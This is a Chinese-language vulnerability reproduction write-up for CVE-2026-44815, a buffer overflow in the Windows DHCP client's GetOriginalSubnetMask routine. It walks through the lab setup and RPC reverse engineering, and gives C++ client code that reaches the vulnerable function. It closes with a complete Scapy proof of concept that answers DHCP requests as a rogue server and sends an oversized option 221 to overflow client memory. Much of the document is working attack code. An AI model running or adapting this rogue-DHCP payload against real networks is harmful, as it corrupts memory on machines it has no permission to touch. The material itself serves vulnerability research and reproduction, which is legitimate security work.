​

漏洞简介

漏洞编号: CVE-2026-44815

影响版本: Windows < 2026.06

漏洞产品: Windows - dhcp客户端 & GetOriginalSubnetMask & buffer_overflow

利用效果: 远程代码执行

讲个题外话,作者本来想分析的是CVE-2026-47291,因为这个漏洞是打服务侧且官方标注可利用性很高,也就是所谓的"核弹洞",但查了一下GitHub上有师傅出poc了(虽然没有证实过但不至于都是像netlogon一样纯诈骗吧),名正言顺刷首发复现就选了这个

​

环境搭建

复现环境:Hyper-V + Windows Server 2016(Windows个人版也行,直接选这个图方便而已)

复现流程: 网卡选择不自带dhcp的(双网卡,一张dhcp模式用于漏洞测试,一张静态IP用于远程调试),运行poc注入dhcp恶意流量再运行rpc调用程序动态调试即可观测溢出(为了方便调试也可以将dhcp单独挂在一个svchost进程)

附件:dhcpcore.dll

​

漏洞原理

漏洞的本质是GetOriginalSubnetMask函数太过信任dhcp服务器发送的响应包,向一块固定大小的内存写入攻击者伪造的payload造成溢出。但由于出现漏洞的rpc接口是 ncalrpc类型,所以触发漏洞需要引诱用户调用该接口

​

漏洞复现

这里作者踩了第一个坑,也得出了关键结论:触发该漏洞条件较为苛刻

就是在漏洞处下断点,进行了大量操作都没有触发,最终使用rpcview查看之后发现这个dll注册的rpc只能通过本地调用?

最终作者决定自己写一个rpc调用程序,模拟用户调用(其实就是类似于钓鱼洞去模拟用户点击?),用rpcview的Decompile功能生成idl,然后用midl生成c++程序和头文件,编译这段code

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>       
#include <ws2tcpip.h>       
#include <rpc.h>
#include <stdio.h> 
#include <stdlib.h>  
#include "test.h"           

#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "Ws2_32.lib")

int main() {
    printf("[DEBUG 1] Client Started...\n");

    RPC_STATUS status;
    RPC_WSTR pszUuid = (RPC_WSTR)L"3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5";//by rpcview
    RPC_WSTR pszProtSeq = (RPC_WSTR)L"ncalrpc";//by rpcview
    RPC_WSTR pszNetworkAddress = NULL;
    RPC_WSTR pszEndpoint = (RPC_WSTR)L"dhcpcsvc";//by rpcview

    RPC_WSTR pszOptions = NULL;
    RPC_WSTR pszStringBinding = NULL;
    handle_t hBinding = NULL;

    status = RpcStringBindingComposeW(
        pszUuid,
        pszProtSeq,
        pszNetworkAddress,
        pszEndpoint,
        pszOptions,
        &pszStringBinding
    );

    if (status != RPC_S_OK) {
        printf("[DEBUG ERROR] RpcStringBindingCompose failed: %d\n", status);
        return 1;
    }

    status = RpcBindingFromStringBindingW(pszStringBinding, &hBinding);
    RpcStringFreeW(&pszStringBinding);

    if (status != RPC_S_OK) {
        printf("[DEBUG ERROR] RpcBindingFromStringBinding failed: %d\n", status);
        return 1;
    }

    printf("[DEBUG 2] RPC Binding created successfully.\n");

    __try {
        wchar_t* arg_0 = NULL;

        Struct_10_t arg_1 = { 0 };
        arg_1.StructMember0 = (unsigned __int64)(ULONG_PTR)L"{B14D2997-CC9F-4846-9C90-071153A5691A}";

        long outSubnetMask = 0;

        printf("[DEBUG 3] Calling Proc23 (RpcSrvGetOriginalSubnetMask)...\n");
        printf("[DEBUG 3] Target Adapter GUID (arg_1): %ws\n", (wchar_t*)(ULONG_PTR)arg_1.StructMember0);

        long result = Proc23(hBinding, arg_0, &arg_1, &outSubnetMask);

        printf("[DEBUG 4] RPC Call completed. return value (result): 0x%X (%d)\n", result, result);

        if (result == 0) {
            printf("[DEBUG 5] Raw outSubnetMask: 0x%X\n", outSubnetMask);

            IN_ADDR addr;
            addr.S_un.S_addr = outSubnetMask;
            char ipStr[16] = { 0 };
            inet_ntop(AF_INET, &addr, ipStr, sizeof(ipStr));

            printf("[DEBUG 6] Formatted Subnet Mask: %s\n", ipStr);
        }
        else {
            printf("[DEBUG ERROR] Server returned error code: %d (0x%X)\n", result, result);
        }
    }
    __except (RpcExceptionFilter(RpcExceptionCode())) {
        unsigned long errorCode = RpcExceptionCode();
        printf("[DEBUG ERROR] RPC Exception occurred! Error Code: 0x%X (%u)\n", errorCode, errorCode);
    }

    if (hBinding != NULL) {
        RpcBindingFree(&hBinding);
    }

    printf("[DEBUG 7] Client Exited.\n");
    return 0;
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len) {
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr) {
    free(ptr);
}

运行之后也是成功地触发了断点

但这里作者碰到了另一个棘手的问题,此时调用DhcpFindAndRefContext返回的是2(错误抛出)

最终经过分析发现关键在于FindDhcpContextOnNicList函数的cmp rax, [rdx+18h]这条指令,查看比对目标是一个比较奇特的数字0x6008001000000,拷打ai之后发现这是网卡的luid(powershell执行Get-NetAdapter -IncludeHidden | Format-List Name, NetLuid可获取)

那么code则如下:

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>       
#include <ws2tcpip.h>       
#include <rpc.h>
#include <stdio.h> 
#include <stdlib.h>  
#include "test.h"           

#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "Ws2_32.lib")

int main() {
    printf("[DEBUG 1] Client Started...\n");

    RPC_STATUS status;
    RPC_WSTR pszUuid = (RPC_WSTR)L"3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5";
    RPC_WSTR pszProtSeq = (RPC_WSTR)L"ncalrpc";
    RPC_WSTR pszNetworkAddress = NULL;
    RPC_WSTR pszEndpoint = (RPC_WSTR)L"dhcpcsvc";

    RPC_WSTR pszOptions = NULL;
    RPC_WSTR pszStringBinding = NULL;
    handle_t hBinding = NULL;

    status = RpcStringBindingComposeW(
        pszUuid,
        pszProtSeq,
        pszNetworkAddress,
        pszEndpoint,
        pszOptions,
        &pszStringBinding
    );

    if (status != RPC_S_OK) {
        printf("[DEBUG ERROR] RpcStringBindingCompose failed: %d\n", status);
        return 1;
    }

    status = RpcBindingFromStringBindingW(pszStringBinding, &hBinding);
    RpcStringFreeW(&pszStringBinding);

    if (status != RPC_S_OK) {
        printf("[DEBUG ERROR] RpcBindingFromStringBinding failed: %d\n", status);
        return 1;
    }

    printf("[DEBUG 2] RPC Binding created successfully.\n");

    __try {
        wchar_t* arg_0 = NULL;

        Struct_10_t arg_1 = { 0 };
        UINT64 adapterLuid = 0x6008001000000;//by powershell
        arg_1.StructMember0 = adapterLuid;

        long outSubnetMask = 0;

        printf("[DEBUG 3] Calling Proc23 (RpcSrvGetOriginalSubnetMask)...\n");
        printf("[DEBUG 3] Target NetLuid: 0x%llX\n", arg_1.StructMember0);

        long result = Proc23(hBinding, arg_0, &arg_1, &outSubnetMask);

        printf("[DEBUG 4] RPC Call completed. return value (result): 0x%X (%d)\n", result, result);

        if (result == 0) {
            printf("[DEBUG 5] Raw outSubnetMask: 0x%X\n", outSubnetMask);

            IN_ADDR addr;
            addr.S_un.S_addr = outSubnetMask;
            char ipStr[16] = { 0 };
            inet_ntop(AF_INET, &addr, ipStr, sizeof(ipStr));

            printf("[DEBUG 6] Formatted Subnet Mask: %s\n", ipStr);
        }
        else {
            printf("[DEBUG ERROR] Server returned error code: %d (0x%X)\n", result, result);
        }
    }
    __except (RpcExceptionFilter(RpcExceptionCode())) {
        unsigned long errorCode = RpcExceptionCode();
        printf("[DEBUG ERROR] RPC Exception occurred! Error Code: 0x%X (%u)\n", errorCode, errorCode);
    }

    if (hBinding != NULL) {
        RpcBindingFree(&hBinding);
    }

    printf("[DEBUG 7] Client Exited.\n");
    return 0;
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len) {
    return(malloc(len));
}

void __RPC_USER midl_user_free(void __RPC_FAR* ptr) {
    free(ptr);
}

最终成功访问到漏洞函数GetOriginalSubnetMask

但在这里又碰到了一个比较折腾人的问题,始终都没有调用出现越界漏洞的memcpy,那么分析这段代码,其实不难看出关键在于这个221,它是什么呢?经过拷打ai和推测,最终发现其实是dhcp的option字段(使用某ai时还死鸭子嘴硬说不是,所以使用ai还是需谨慎,有时候容易误导人,相信自己的判断好吧)

__int64 __fastcall GetOriginalSubnetMask(__int64 a1, _DWORD *a2)
{
  unsigned int v2; // ebx
  __int64 v5; // rbp
  _QWORD *v6; // rax
  _QWORD *v7; // rdx
  __int64 v9; // r9

  v2 = 0;
  if ( a2 )
  {
    v5 = a1 + 576;
    *a2 = 0;
    ((void (__fastcall *)(__int64))ntdll_RtlAcquireSRWLockShared)(a1 + 576);
    v6 = *(_QWORD **)(a1 + 600);
    do
    {
      if ( v6 == (_QWORD *)(a1 + 600) )
      {
        if ( WPP_GLOBAL_Control != (__int64 *)&WPP_GLOBAL_Control && (*((_BYTE *)WPP_GLOBAL_Control + 28) & 1) != 0 )
          WPP_SF_q(WPP_GLOBAL_Control[2], 51LL, &WPP_05ab9de6d15c38ad5247d1afa811d03a_Traceguids, *(_QWORD *)(a1 + 24));
        goto LABEL_9;
      }
      v7 = v6;
      v6 = (_QWORD *)*v6;
    }
    while ( *((_DWORD *)v7 + 4) != 221 );
    memcpy(a2, v7[6], *((unsigned int *)v7 + 14));
    v9 = (unsigned int)((__int64 (__fastcall *)(_QWORD))ws2_32_htonl)((unsigned int)*a2);
    if ( WPP_GLOBAL_Control != (__int64 *)&WPP_GLOBAL_Control && (*((_BYTE *)WPP_GLOBAL_Control + 28) & 8) != 0 )
      WPP_SF_DI(WPP_GLOBAL_Control[2], 52LL, &WPP_05ab9de6d15c38ad5247d1afa811d03a_Traceguids, v9, *(_QWORD *)(a1 + 24));
LABEL_9:
    ((void (__fastcall *)(__int64))ntdll_RtlReleaseSRWLockShared)(v5);
  }
  else
  {
    return 87;
  }
  return v2;
}

然后写一个poc去发送dhcp恶意流量,使用wireshark抓包证实成功发送恶意流量

最后ida调试在调用memcpy函数的地方下断点,成功触发漏洞点,写入长度0xff溢出

完整poc:

from scapy.all import sniff, sendp, Ether, IP, UDP, BOOTP, DHCP

IFACE = "vEthernet (test)"
SERVER_IP = "192.168.147.88"
ALLOC_IP = "192.168.147.99"
MASK = "255.255.255.0"
GW = "192.168.147.88"
DNS = "223.5.5.5"
LEASE = 86400

def reply(pkt, msg_type):
    resp = (
        Ether(dst="ff:ff:ff:ff:ff:ff")
        / IP(src=SERVER_IP, dst="255.255.255.255")
        / UDP(sport=67, dport=68)
        / BOOTP(op=2, xid=pkt[BOOTP].xid, yiaddr=ALLOC_IP, chaddr=pkt[BOOTP].chaddr)
        / DHCP(options=[
            ("message-type", msg_type),
            ("server_id", SERVER_IP),
            ("subnet_mask", MASK),
            ("router", GW),
            ("name_server", DNS),
            ("lease_time", LEASE),
            # DHCP Option 221 (0xDD) VSS Virtual Subnet Selection
            (0xDD, b"a"*255),
            "end"
        ])
    )
    sendp(resp, iface=IFACE, verbose=0)

def handle(pkt):
    if not pkt.haslayer(DHCP):
        return
    for opt in pkt[DHCP].options:
        if opt[0] == "message-type":
            t = opt[1]
            mac = pkt[Ether].src
            if t == 1:
                print(f"[{mac}] Discover → Offer")
                reply(pkt, 2)
            elif t == 3:
                print(f"[{mac}] Request → Ack")
                reply(pkt, 5)
            return

if __name__ == "__main__":
    sniff(iface=IFACE, prn=handle, filter="udp port 68", store=0)